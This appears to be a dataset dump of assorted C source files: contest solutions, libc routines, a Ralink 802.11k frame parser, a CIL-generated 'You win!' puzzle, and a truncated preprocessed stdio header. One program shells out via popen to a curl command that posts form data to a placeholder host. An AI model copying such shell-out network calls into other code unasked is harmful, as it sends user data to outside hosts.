file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/573100.c | #include <stdio.h>
#include <string.h>
#include <stdbool.h>
#define MAX 10000010
#define clr(ar) memset(ar, 0, sizeof(ar))
#define read() freopen("lol.txt", "r", stdin)
#define write() freopen("out.txt", "w", stdout)
char str[MAX];
int main(){
read();
write();
int T = 0, t, n, i, j, k, l, x, res;
scanf("%d", &t);
while (t--){
scanf("%s", str);
n = strlen(str), res = 0, i = n - 1;
while (i >= 0) {
for (; i >= 0; i--){
if (str[i] == '-'){
res++;
for (j = 0, k = i; j <= i; j++, k--){
x = str[j], str[j] = str[k], str[k] = x;
}
for (j = 0; j <= i; j++) str[j] = (str[j] == '+') ? '-' : '+';
break;
}
}
}
printf("Case #%d: %d\n", ++T, res);
}
return 0;
}
|
the_stack_data/45449443.c | /*
* imaxdiv.c
*
* Implements the imaxdiv() function, as specified in ISO/IEC 9899:1999
* clause 7.8.2.2, and its functionally equivalent lldiv() function, as
* specified in ISO/IEC 9899:1999 clause 7.20.6.2.
*
* $Id$
*
* Written by Doug Gwyn <[email protected]>
* Copyright (C) 1999, 2018, MinGW.org Project.
*
*
* Abstracted from the Q8 package, which was originally placed, by the
* above named author, in the PUBLIC DOMAIN. In any jurisdiction where
* PUBLIC DOMAIN is not acceptable as a licensing waiver, the following
* licence shall apply:
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice, this permission notice, and the following
* disclaimer shall be included in all copies or substantial portions of
* the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OF OR OTHER
* DEALINGS IN THE SOFTWARE.
*
*/
#include <inttypes.h>
imaxdiv_t imaxdiv (intmax_t numer, intmax_t denom)
{
imaxdiv_t result;
result.quot = numer / denom;
result.rem = numer % denom;
return result;
}
/* lldiv() is effectively equivalent to imaxdiv(), so we may implement
* it as an alias. However, the two function prototypes differ in the
* formal data types of their arguments, and return values. Although
* these differing data types are effectively interchangeable, GCC may
* not recognize this, so disable associated warnings.
*/
#pragma GCC diagnostic ignored "-Wattribute-alias"
#include <stdlib.h>
lldiv_t __attribute__ ((alias ("imaxdiv"))) lldiv (long long, long long);
/* $RCSfile$: end of file */
|
the_stack_data/200142773.c | #include<stdio.h>
int main()
{
int w;
float a;
scanf("%d%f",&w,&a);
if(w%5!=0)
printf("%.2f",a);
else{
if(w+0.5>a)
printf("%.2f",a);
else
printf("%.2f",a-w-0.5);
}
return 0;
}
|
the_stack_data/36076421.c | // Jamil Matheny
// 03.06.2020
// Math Practice Project
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
int main()
// start the program
{
/* Variables used for data calculations */
float num1, num2, ans;
char ch;
/* Fancy Application Title - ;) */
printf("**** WELCOME TO MY SIMPLE CALCULATOR by Jamil Matheny ****\n");
printf("====================================\n");
printf("\nCalculate: ");
/* Collects any input user variable to calculate the integer with character */
scanf("\n %f %c %f", &num1, &ch, &num2);
/* Assigns the variables */
switch(ch)
{
case '+':
ans = num1 + num2;
break;
case '-':
ans = num1 - num2;
break;
case '*':
ans = num1 * num2;
break;
case '/':
ans = num1 / num2;
break;
default:
printf("\n\nHA HA! Nice try! Invalid operator! \nYou broke my program and now it's over...BYE!...");
}
/* Outputs the calculated total */
printf("\n\n %.1f %c %.1f = %.0f", num1, ch, num2, ans);
if (ans)
{
printf("\n\n Awesome! Here is your answer! Thank you for using this calculator. :) \n");
}
/* exits the program */
return 0;
}
|
the_stack_data/1085588.c | #include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main()
{
FILE *in;
char *p;
char buff[512];
int id=6;
int len;
char str[100]= "curl -d 'uname=123&content=longitude' http://ipadress.com/path/to/";
if(!(in = popen(str, "r")))
{
return 0;
}
while(fgets(buff, sizeof(buff), in)!=NULL)
{
printf("%s\n",buff);
pclose(in);
}
}
|
the_stack_data/1224114.c | #include <stdio.h>
#define INT_MAX 0x7FFFFFFF
#define INT_MIN 0x80000000
int saturating_add(int x, int y)
{
int w,t,ans,plus,minus,nop;
w = sizeof(int)<<3;
t = x + y;
ans = x + y;
x>>=(w-1);
y>>=(w-1);
t>>=(w-1);
plus = ~x&~y&t;
minus = x&y&~t;
nop = ~(plus|minus);
return (plus & INT_MAX)|(nop & ans)|(minus & INT_MIN);
}
int main()
{
int x,y;
scanf("%x %x",&x,&y);
printf("%x\n",saturating_add(x,y));
return 0;
} |
the_stack_data/59514074.c | /*-
* Copyright (c) 1990, 1993
* The Regents of the University of California. All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Chris Torek.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <sys/cdefs.h>
#include <string.h>
/*
* Concatenate src on the end of dst. At most strlen(dst)+n+1 bytes
* are written at dst (at most n+1 bytes being appended). Return dst.
*/
char* strncat(dst, src, n) char* dst;
const char* src;
size_t n;
{
if (n != 0) {
char* d = dst;
const char* s = src;
while (*d != 0)
d++;
do {
if ((*d = *s++) == 0)
break;
d++;
} while (--n != 0);
*d = 0;
}
return (dst);
}
|
the_stack_data/37637000.c | /* Generated by CIL v. 1.7.0 */
/* print_CIL_Input is false */
struct _IO_FILE;
struct timeval;
extern void signal(int sig , void *func ) ;
extern float strtof(char const *str , char const *endptr ) ;
typedef struct _IO_FILE FILE;
extern int atoi(char const *s ) ;
extern double strtod(char const *str , char const *endptr ) ;
extern int fclose(void *stream ) ;
extern void *fopen(char const *filename , char const *mode ) ;
extern void abort() ;
extern void exit(int status ) ;
extern int raise(int sig ) ;
extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ;
extern int strcmp(char const *a , char const *b ) ;
extern int rand() ;
extern unsigned long strtoul(char const *str , char const *endptr , int base ) ;
void RandomFunc(unsigned int input[1] , unsigned int output[1] ) ;
extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ;
extern int gettimeofday(struct timeval *tv , void *tz , ...) ;
extern int printf(char const *format , ...) ;
int main(int argc , char *argv[] ) ;
void megaInit(void) ;
extern unsigned long strlen(char const *s ) ;
extern long strtol(char const *str , char const *endptr , int base ) ;
extern unsigned long strnlen(char const *s , unsigned long maxlen ) ;
extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ;
struct timeval {
long tv_sec ;
long tv_usec ;
};
extern void *malloc(unsigned long size ) ;
extern int scanf(char const *format , ...) ;
void RandomFunc(unsigned int input[1] , unsigned int output[1] )
{
unsigned int state[1] ;
unsigned int local1 ;
unsigned short copy11 ;
char copy12 ;
char copy13 ;
{
state[0UL] = input[0UL] ^ 700325083U;
local1 = 0UL;
while (local1 < 0U) {
if (state[0UL] != local1) {
if (state[0UL] == local1) {
copy11 = *((unsigned short *)(& state[0UL]) + 0);
*((unsigned short *)(& state[0UL]) + 0) = *((unsigned short *)(& state[0UL]) + 1);
*((unsigned short *)(& state[0UL]) + 1) = copy11;
} else {
copy12 = *((char *)(& state[local1]) + 3);
*((char *)(& state[local1]) + 3) = *((char *)(& state[local1]) + 0);
*((char *)(& state[local1]) + 0) = copy12;
}
} else
if (state[0UL] == local1) {
copy13 = *((char *)(& state[local1]) + 1);
*((char *)(& state[local1]) + 1) = *((char *)(& state[local1]) + 0);
*((char *)(& state[local1]) + 0) = copy13;
} else {
state[local1] <<= ((state[local1] >> 4U) & 7U) | 1UL;
}
local1 += 2UL;
}
output[0UL] = state[0UL] << 3U;
}
}
void megaInit(void)
{
{
}
}
int main(int argc , char *argv[] )
{
unsigned int input[1] ;
unsigned int output[1] ;
int randomFuns_i5 ;
unsigned int randomFuns_value6 ;
int randomFuns_main_i7 ;
{
megaInit();
if (argc != 2) {
printf("Call this program with %i arguments\n", 1);
exit(-1);
} else {
}
randomFuns_i5 = 0;
while (randomFuns_i5 < 1) {
randomFuns_value6 = (unsigned int )strtoul(argv[randomFuns_i5 + 1], 0, 10);
input[randomFuns_i5] = randomFuns_value6;
randomFuns_i5 ++;
}
RandomFunc(input, output);
if (output[0] == 1307666192U) {
printf("You win!\n");
} else {
}
randomFuns_main_i7 = 0;
while (randomFuns_main_i7 < 1) {
printf("%u\n", output[randomFuns_main_i7]);
randomFuns_main_i7 ++;
}
}
}
|
the_stack_data/182953565.c |
/*
***************************************************************************
* Ralink Tech Inc.
* 4F, No. 2 Technology 5th Rd.
* Science-based Industrial Park
* Hsin-chu, Taiwan, R.O.C.
*
* (c) Copyright 2002-2006, Ralink Technology, Inc.
*
* All rights reserved. Ralink's source code is an unpublished work and the
* use of a copyright notice does not imply otherwise. This source code
* contains confidential trade secret material of Ralink Tech. Any attemp
* or participation in deciphering, decoding, reverse engineering or in any
* way altering the source code is stricitly prohibited, unless the prior
* written consent of Ralink Technology, Inc. is obtained.
***************************************************************************/
/****************************************************************************
Abstract:
***************************************************************************/
#ifdef DOT11K_RRM_SUPPORT
#include "rt_config.h"
/*
==========================================================================
Description:
Parametrs:
Return : None.
==========================================================================
*/
BOOLEAN RRM_PeerNeighborReqSanity(
IN PRTMP_ADAPTER pAd,
IN VOID *pMsg,
IN ULONG MsgLen,
OUT PUINT8 pDialogToken,
OUT PCHAR *pSsid,
OUT PUINT8 pSsidLen)
{
PFRAME_802_11 Fr = (PFRAME_802_11)pMsg;
PUCHAR pFramePtr = Fr->Octet;
BOOLEAN result = FALSE;
PEID_STRUCT eid_ptr;
PMAC_TABLE_ENTRY pEntry;
MsgLen -= sizeof(HEADER_802_11);
/* skip category and action code. */
pFramePtr += 2;
MsgLen -= 2;
if (pDialogToken == NULL)
return result;
pEntry = MacTableLookup(pAd, Fr->Hdr.Addr2);
if (pEntry == NULL)
return result;
if (pEntry->func_tb_idx > pAd->ApCfg.BssidNum)
return result;
*pSsid = pAd->ApCfg.MBSSID[pEntry->func_tb_idx].Ssid;
*pSsidLen = pAd->ApCfg.MBSSID[pEntry->func_tb_idx].SsidLen;
result = TRUE;
NdisMoveMemory(pDialogToken, pFramePtr, 1);
pFramePtr += 1;
MsgLen -= 1;
eid_ptr = (PEID_STRUCT)pFramePtr;
while (((UCHAR*)eid_ptr + eid_ptr->Len + 1) < ((PUCHAR)pFramePtr + MsgLen))
{
switch(eid_ptr->Eid)
{
case RRM_NEIGHBOR_REQ_SSID_SUB_ID:
*pSsid = (PCHAR)eid_ptr->Octet;
*pSsidLen = eid_ptr->Len;
break;
case RRM_NEIGHBOR_REQ_VENDOR_SUB_ID:
break;
default:
break;
}
eid_ptr = (PEID_STRUCT)((UCHAR*)eid_ptr + 2 + eid_ptr->Len);
}
return result;
}
BOOLEAN RRM_PeerMeasureReportSanity(
IN PRTMP_ADAPTER pAd,
IN VOID *pMsg,
IN ULONG MsgLen,
OUT PUINT8 pDialogToken,
OUT PMEASURE_REPORT_INFO pMeasureReportInfo,
OUT PVOID *pMeasureRep)
{
PFRAME_802_11 Fr = (PFRAME_802_11)pMsg;
PUCHAR pFramePtr = Fr->Octet;
BOOLEAN result = FALSE;
PEID_STRUCT eid_ptr;
/* skip 802.11 header. */
MsgLen -= sizeof(HEADER_802_11);
/* skip category and action code. */
pFramePtr += 2;
MsgLen -= 2;
if (pMeasureReportInfo == NULL)
return result;
NdisMoveMemory(pDialogToken, pFramePtr, 1);
pFramePtr += 1;
MsgLen -= 1;
eid_ptr = (PEID_STRUCT)pFramePtr;
while (((UCHAR*)eid_ptr + eid_ptr->Len + 1) < ((PUCHAR)pFramePtr + MsgLen))
{
switch(eid_ptr->Eid)
{
case IE_MEASUREMENT_REPORT:
NdisMoveMemory(&pMeasureReportInfo->Token, eid_ptr->Octet, 1);
NdisMoveMemory(&pMeasureReportInfo->ReportMode, eid_ptr->Octet + 1, 1);
NdisMoveMemory(&pMeasureReportInfo->ReportType, eid_ptr->Octet + 2, 1);
*pMeasureRep = (PVOID)(eid_ptr->Octet + 3);
result = TRUE;
break;
default:
break;
}
eid_ptr = (PEID_STRUCT)((UCHAR*)eid_ptr + 2 + eid_ptr->Len);
}
return result;
}
#endif /* DOT11K_RRM_SUPPORT */
|
the_stack_data/181392455.c | double balance[] = {1000.0, 2.0, 3.4, 17.0, 50.0}; |
the_stack_data/92328502.c | // wcstok_ex.c : wcstok() example
// -------------------------------------------------------------
#include <wchar.h> // wchar_t *wcstok( wchar_t * restrict s1,
// const wchar_t * restrict s2,
// wchar_t ** restrict ptr );
int main()
{
wchar_t *mnemonic, *arg1, *arg2, *comment, *ptr;
wchar_t line[ ] = L" mul eax,[ebp+4] ; Multiply by y\n";
// First word between spaces or tabs
mnemonic = wcstok( line, L" \t", &ptr );
arg1 = wcstok( NULL, L",", &ptr ); // From there to the comma is arg1.
// Trim off any spaces later.
arg2 = wcstok( NULL, L";\n", &ptr ); // From there to the semicolon is
// arg2.
// To line or page end is comment:
comment = wcstok( NULL, L"\n\r\v\f", &ptr );
wprintf( L"Mnemonic: %ls\n"
L"1st argument: %ls\n"
L"2nd argument: %ls\n"
L"Comment: %ls\n\n",
mnemonic, arg1, arg2, comment );
return 0;
}
|
the_stack_data/23359.c | #pragma merger("0","/tmp/cil-UKkHcDfV.i","")
# 1 "./stencils/jacobi-1d-imper/jacobi-1d-imper.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 1 "<command-line>" 2
# 1 "./stencils/jacobi-1d-imper/jacobi-1d-imper.c"
# 1 "/usr/include/stdio.h" 1 3 4
# 27 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 33 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 3 4
# 1 "/usr/include/features.h" 1 3 4
# 461 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 1 3 4
# 452 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 453 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 454 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 462 "/usr/include/features.h" 2 3 4
# 485 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs-64.h" 1 3 4
# 11 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 2 3 4
# 486 "/usr/include/features.h" 2 3 4
# 34 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 2 3 4
# 28 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
typedef long unsigned int size_t;
# 34 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 1 3 4
# 40 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 3 4
typedef __builtin_va_list __gnuc_va_list;
# 37 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 28 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/timesize.h" 1 3 4
# 29 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned char __u_char;
typedef unsigned short int __u_short;
typedef unsigned int __u_int;
typedef unsigned long int __u_long;
typedef signed char __int8_t;
typedef unsigned char __uint8_t;
typedef signed short int __int16_t;
typedef unsigned short int __uint16_t;
typedef signed int __int32_t;
typedef unsigned int __uint32_t;
typedef signed long int __int64_t;
typedef unsigned long int __uint64_t;
typedef __int8_t __int_least8_t;
typedef __uint8_t __uint_least8_t;
typedef __int16_t __int_least16_t;
typedef __uint16_t __uint_least16_t;
typedef __int32_t __int_least32_t;
typedef __uint32_t __uint_least32_t;
typedef __int64_t __int_least64_t;
typedef __uint64_t __uint_least64_t;
typedef long int __quad_t;
typedef unsigned long int __u_quad_t;
typedef long int __intmax_t;
typedef unsigned long int __uintmax_t;
# 141 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/typesizes.h" 1 3 4
# 142 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/time64.h" 1 3 4
# 143 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned long int __dev_t;
typedef unsigned int __uid_t;
typedef unsigned int __gid_t;
typedef unsigned long int __ino_t;
typedef unsigned long int __ino64_t;
typedef unsigned int __mode_t;
typedef unsigned long int __nlink_t;
typedef long int __off_t;
typedef long int __off64_t;
typedef int __pid_t;
typedef struct { int __val[2]; } __fsid_t;
typedef long int __clock_t;
typedef unsigned long int __rlim_t;
typedef unsigned long int __rlim64_t;
typedef unsigned int __id_t;
typedef long int __time_t;
typedef unsigned int __useconds_t;
typedef long int __suseconds_t;
typedef int __daddr_t;
typedef int __key_t;
typedef int __clockid_t;
typedef void * __timer_t;
typedef long int __blksize_t;
typedef long int __blkcnt_t;
typedef long int __blkcnt64_t;
typedef unsigned long int __fsblkcnt_t;
typedef unsigned long int __fsblkcnt64_t;
typedef unsigned long int __fsfilcnt_t;
typedef unsigned long int __fsfilcnt64_t;
typedef long int __fsword_t;
typedef long int __ssize_t;
typedef long int __syscall_slong_t;
typedef unsigned long int __syscall_ulong_t;
typedef __off64_t __loff_t;
typedef char *__caddr_t;
typedef long int __intptr_t;
typedef unsigned int __socklen_t;
typedef int __sig_atomic_t;
# 39 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 1 3 4
# 13 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 3 4
typedef struct
{
int __count;
union
{
unsigned int __wch;
char __wchb[4];
} __value;
} __mbstate_t;
# 6 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 2 3 4
typedef struct _G_fpos_t
{
__off_t __pos;
__mbstate_t __state;
} __fpos_t;
# 40 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 3 4
typedef struct _G_fpos64_t
{
__off64_t __pos;
__mbstate_t __state;
} __fpos64_t;
# 41 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE __FILE;
# 42 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE FILE;
# 43 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 1 3 4
# 35 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 3 4
struct _IO_FILE;
struct _IO_marker;
struct _IO_codecvt;
struct _IO_wide_data;
typedef void _IO_lock_t;
struct _IO_FILE
{
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
# 44 "/usr/include/stdio.h" 2 3 4
# 52 "/usr/include/stdio.h" 3 4
typedef __gnuc_va_list va_list;
# 63 "/usr/include/stdio.h" 3 4
typedef __off_t off_t;
# 77 "/usr/include/stdio.h" 3 4
typedef __ssize_t ssize_t;
typedef __fpos_t fpos_t;
# 133 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdio_lim.h" 1 3 4
# 134 "/usr/include/stdio.h" 2 3 4
extern FILE *stdin;
extern FILE *stdout;
extern FILE *stderr;
extern int remove (const char *__filename) __attribute__ ((__nothrow__ , __leaf__));
extern int rename (const char *__old, const char *__new) __attribute__ ((__nothrow__ , __leaf__));
extern int renameat (int __oldfd, const char *__old, int __newfd,
const char *__new) __attribute__ ((__nothrow__ , __leaf__));
# 173 "/usr/include/stdio.h" 3 4
extern FILE *tmpfile (void) ;
# 187 "/usr/include/stdio.h" 3 4
extern char *tmpnam (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
extern char *tmpnam_r (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
# 204 "/usr/include/stdio.h" 3 4
extern char *tempnam (const char *__dir, const char *__pfx)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) ;
extern int fclose (FILE *__stream);
extern int fflush (FILE *__stream);
# 227 "/usr/include/stdio.h" 3 4
extern int fflush_unlocked (FILE *__stream);
# 246 "/usr/include/stdio.h" 3 4
extern FILE *fopen (const char *__restrict __filename,
const char *__restrict __modes) ;
extern FILE *freopen (const char *__restrict __filename,
const char *__restrict __modes,
FILE *__restrict __stream) ;
# 279 "/usr/include/stdio.h" 3 4
extern FILE *fdopen (int __fd, const char *__modes) __attribute__ ((__nothrow__ , __leaf__)) ;
# 292 "/usr/include/stdio.h" 3 4
extern FILE *fmemopen (void *__s, size_t __len, const char *__modes)
__attribute__ ((__nothrow__ , __leaf__)) ;
extern FILE *open_memstream (char **__bufloc, size_t *__sizeloc) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void setbuf (FILE *__restrict __stream, char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__));
extern int setvbuf (FILE *__restrict __stream, char *__restrict __buf,
int __modes, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern void setbuffer (FILE *__restrict __stream, char *__restrict __buf,
size_t __size) __attribute__ ((__nothrow__ , __leaf__));
extern void setlinebuf (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int fprintf (FILE *__restrict __stream,
const char *__restrict __format, ...);
extern int printf (const char *__restrict __format, ...);
extern int sprintf (char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__));
extern int vfprintf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg);
extern int vprintf (const char *__restrict __format, __gnuc_va_list __arg);
extern int vsprintf (char *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg) __attribute__ ((__nothrow__));
extern int snprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, ...)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 4)));
extern int vsnprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 0)));
# 379 "/usr/include/stdio.h" 3 4
extern int vdprintf (int __fd, const char *__restrict __fmt,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__printf__, 2, 0)));
extern int dprintf (int __fd, const char *__restrict __fmt, ...)
__attribute__ ((__format__ (__printf__, 2, 3)));
extern int fscanf (FILE *__restrict __stream,
const char *__restrict __format, ...) ;
extern int scanf (const char *__restrict __format, ...) ;
extern int sscanf (const char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__ , __leaf__));
extern int fscanf (FILE *__restrict __stream, const char *__restrict __format, ...) __asm__ ("" "__isoc99_fscanf")
;
extern int scanf (const char *__restrict __format, ...) __asm__ ("" "__isoc99_scanf")
;
extern int sscanf (const char *__restrict __s, const char *__restrict __format, ...) __asm__ ("" "__isoc99_sscanf") __attribute__ ((__nothrow__ , __leaf__))
;
# 432 "/usr/include/stdio.h" 3 4
extern int vfscanf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__format__ (__scanf__, 2, 0)));
extern int vfscanf (FILE *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vfscanf")
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vscanf")
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vsscanf") __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__format__ (__scanf__, 2, 0)));
# 485 "/usr/include/stdio.h" 3 4
extern int fgetc (FILE *__stream);
extern int getc (FILE *__stream);
extern int getchar (void);
extern int getc_unlocked (FILE *__stream);
extern int getchar_unlocked (void);
# 510 "/usr/include/stdio.h" 3 4
extern int fgetc_unlocked (FILE *__stream);
# 521 "/usr/include/stdio.h" 3 4
extern int fputc (int __c, FILE *__stream);
extern int putc (int __c, FILE *__stream);
extern int putchar (int __c);
# 537 "/usr/include/stdio.h" 3 4
extern int fputc_unlocked (int __c, FILE *__stream);
extern int putc_unlocked (int __c, FILE *__stream);
extern int putchar_unlocked (int __c);
extern int getw (FILE *__stream);
extern int putw (int __w, FILE *__stream);
extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
;
# 603 "/usr/include/stdio.h" 3 4
extern __ssize_t __getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getline (char **__restrict __lineptr,
size_t *__restrict __n,
FILE *__restrict __stream) ;
extern int fputs (const char *__restrict __s, FILE *__restrict __stream);
extern int puts (const char *__s);
extern int ungetc (int __c, FILE *__stream);
extern size_t fread (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __s);
# 673 "/usr/include/stdio.h" 3 4
extern size_t fread_unlocked (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite_unlocked (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream);
extern int fseek (FILE *__stream, long int __off, int __whence);
extern long int ftell (FILE *__stream) ;
extern void rewind (FILE *__stream);
# 707 "/usr/include/stdio.h" 3 4
extern int fseeko (FILE *__stream, __off_t __off, int __whence);
extern __off_t ftello (FILE *__stream) ;
# 731 "/usr/include/stdio.h" 3 4
